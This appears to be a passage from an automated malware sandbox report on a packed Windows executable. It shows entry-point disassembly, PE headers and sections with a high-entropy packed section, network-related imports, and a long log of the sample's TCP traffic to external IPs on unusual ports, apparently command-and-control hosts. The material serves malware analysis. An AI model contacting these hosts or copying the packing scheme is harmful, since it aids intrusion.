push dword ptr [esp]
jmp 00007FA9B546F2A7h
lea esp, dword ptr [esp+34h]
ja 00007FA9B5488A60h
pushad
lea esp, dword ptr [esp+20h]
jc 00007FA9B547200Dh
pushfd
push dword ptr [esp]
push esi
bt bp, si
cmp byte ptr [edi-01h], 00000000h
call 00007FA9B548D9CAh
int1
push cs
xchg eax, ebx

Rich Headers

Programming Language:

[C++] VS2013 build 21005
[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbd33c	0x8c	.c1
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x16e000	0xfc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x16d2fc	0x40	.c1
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xda000	0x44	.c1
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1118b	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x13000	0x89aaa	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9d000	0x3280	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.c0	0xa1000	0x1b84f	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.c1	0xbd000	0xb0360	0xb0400	fc450222ce5f21d79bf4bd8dfc612242	False	0.9880000554078014	data	7.989192901004846	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x16e000	0xfc	0x200	b177d9f3302039d1c78bd67abfdb0d72	False	0.44921875	data	3.015422250115953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	GetStartupInfoW
ADVAPI32.dll	LookupPrivilegeValueA
WS2_32.dll	recv
IPHLPAPI.DLL	GetAdaptersInfo
KERNEL32.dll	GetModuleFileNameW
KERNEL32.dll	GetModuleHandleA, LoadLibraryA, LocalAlloc, LocalFree, GetModuleFileNameA, ExitProcess

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 01:32:56.786956072 CEST	49674	443	192.168.2.6	173.222.162.64
Apr 19, 2024 01:32:56.787023067 CEST	49673	443	192.168.2.6	173.222.162.64
Apr 19, 2024 01:32:57.083743095 CEST	49672	443	192.168.2.6	173.222.162.64
Apr 19, 2024 01:32:59.888396025 CEST	49710	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:32:59.888520002 CEST	49711	8052	192.168.2.6	8.212.47.137
Apr 19, 2024 01:32:59.954727888 CEST	49712	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:00.219448090 CEST	8379	49710	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:00.219572067 CEST	49710	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:00.220283985 CEST	49710	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:00.225373983 CEST	8052	49711	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:00.225464106 CEST	49711	8052	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:00.225759983 CEST	49711	8052	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:00.272571087 CEST	8379	49712	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:00.272659063 CEST	49712	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:00.273838043 CEST	49712	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:00.551275015 CEST	8379	49710	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:00.553756952 CEST	49710	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:00.562705040 CEST	8052	49711	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:00.563060999 CEST	8052	49711	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:00.563286066 CEST	49711	8052	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:00.591608047 CEST	8379	49712	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:00.592155933 CEST	49712	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:00.693382025 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:00.884515047 CEST	8379	49710	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:00.888091087 CEST	8379	49710	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:00.900162935 CEST	8052	49711	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:00.900278091 CEST	49711	8052	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:00.909512043 CEST	8379	49712	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:00.911993027 CEST	49712	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:00.912255049 CEST	49714	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:00.912533998 CEST	8379	49712	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:00.912600040 CEST	49712	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:00.927576065 CEST	49710	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:01.013526917 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.013619900 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.013796091 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.083774090 CEST	49710	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:01.084086895 CEST	49715	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:01.227791071 CEST	8379	49714	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:01.227871895 CEST	49714	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:01.227972031 CEST	49714	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:01.229295969 CEST	8379	49712	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:01.229351044 CEST	49712	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:01.333700895 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.334867001 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.334911108 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.334953070 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.334976912 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.334992886 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.335032940 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.335037947 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.335072041 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.335110903 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.335127115 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.380575895 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.404828072 CEST	8379	49715	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:01.404900074 CEST	49715	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:01.405066013 CEST	49715	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:01.434473991 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.434515953 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.434556007 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.434576988 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.489949942 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.543524981 CEST	8379	49714	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:01.543581009 CEST	49714	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:01.654903889 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.654944897 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.654983997 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.655019999 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.655025005 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.655059099 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.655083895 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.655096054 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.655133963 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.655148029 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.655173063 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.655210972 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.655230045 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.655249119 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.655293941 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.655314922 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.655333042 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.655390024 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.700375080 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.700414896 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.700474977 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.725766897 CEST	8379	49715	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:01.725816011 CEST	49715	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:01.754336119 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.754393101 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.754429102 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.754467010 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.754581928 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.809894085 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.809932947 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.810007095 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.859108925 CEST	8379	49714	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:01.861932039 CEST	8379	49714	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:01.911829948 CEST	49714	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:01.975112915 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975169897 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975225925 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975266933 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975277901 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.975305080 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975342035 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.975343943 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975384951 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975403070 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.975424051 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975461960 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975475073 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.975502014 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975541115 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975557089 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.975581884 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975620031 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975632906 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.975656986 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975696087 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975708008 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:01.975732088 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:01.975796938 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.035118103 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.035180092 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.035219908 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.035257101 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.035296917 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.035332918 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.035336971 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.035372019 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.035377979 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.035391092 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.035414934 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.035453081 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.035464048 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.035511971 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.035551071 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.035557032 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.035590887 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.035636902 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.046577930 CEST	8379	49715	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:02.049022913 CEST	8379	49715	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:02.074604988 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.083812952 CEST	49714	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:02.099317074 CEST	49715	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:02.114964008 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.234453917 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.234507084 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.234546900 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.234572887 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.234587908 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.234626055 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.234647036 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.234664917 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.234703064 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.234719992 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.234740019 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.234778881 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.234791994 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.234821081 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.234877110 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.255686045 CEST	49715	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:02.295707941 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.295772076 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.295814991 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.295902014 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.434354067 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.434458971 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.434498072 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.434536934 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.434577942 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.434576035 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.434633017 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.434633970 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.434672117 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.434714079 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.434725046 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.434751034 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.434766054 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.434788942 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.434825897 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.434864998 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.434870005 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.434907913 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.434921980 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.489999056 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.635082006 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.635147095 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.635185957 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.635267019 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.667808056 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.667876959 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.667918921 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.667959929 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.668000937 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.668042898 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.668083906 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.668133020 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.668133020 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.668133020 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.668133020 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.668153048 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.668193102 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.668231964 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.668251038 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.668271065 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.668308973 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.668318987 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.668349981 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.669032097 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.867543936 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.867609024 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.867649078 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.867686987 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.867719889 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.867728949 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:02.867778063 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:02.867854118 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.189161062 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.189212084 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.189250946 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.189290047 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.189295053 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.189331055 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.189369917 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.189407110 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.189408064 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.189434052 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.189445972 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.189483881 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.189508915 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.189521074 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.189558983 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.189596891 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.189604998 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.189639091 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.189706087 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.389153004 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.389215946 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.389261007 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.389283895 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.389301062 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.389341116 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.389362097 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.389380932 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.389419079 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.389436007 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.389456987 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.389494896 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.389508963 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.389533997 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.389576912 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.389594078 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.389617920 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.389657974 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.389672995 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.443077087 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.588782072 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.588848114 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.588888884 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.588926077 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.588964939 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.589005947 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.589044094 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.589045048 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.589046001 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.589046001 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.589085102 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.589123011 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.589128971 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.589169025 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.589207888 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.589274883 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.589314938 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.589378119 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.589378119 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.630669117 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.788825989 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.788896084 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.788935900 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.788976908 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.788975000 CEST	49713	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:03.789015055 CEST	9187	49713	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:03.789031982 CEST	49713	9187	192.168.2.6	47.57.240.88
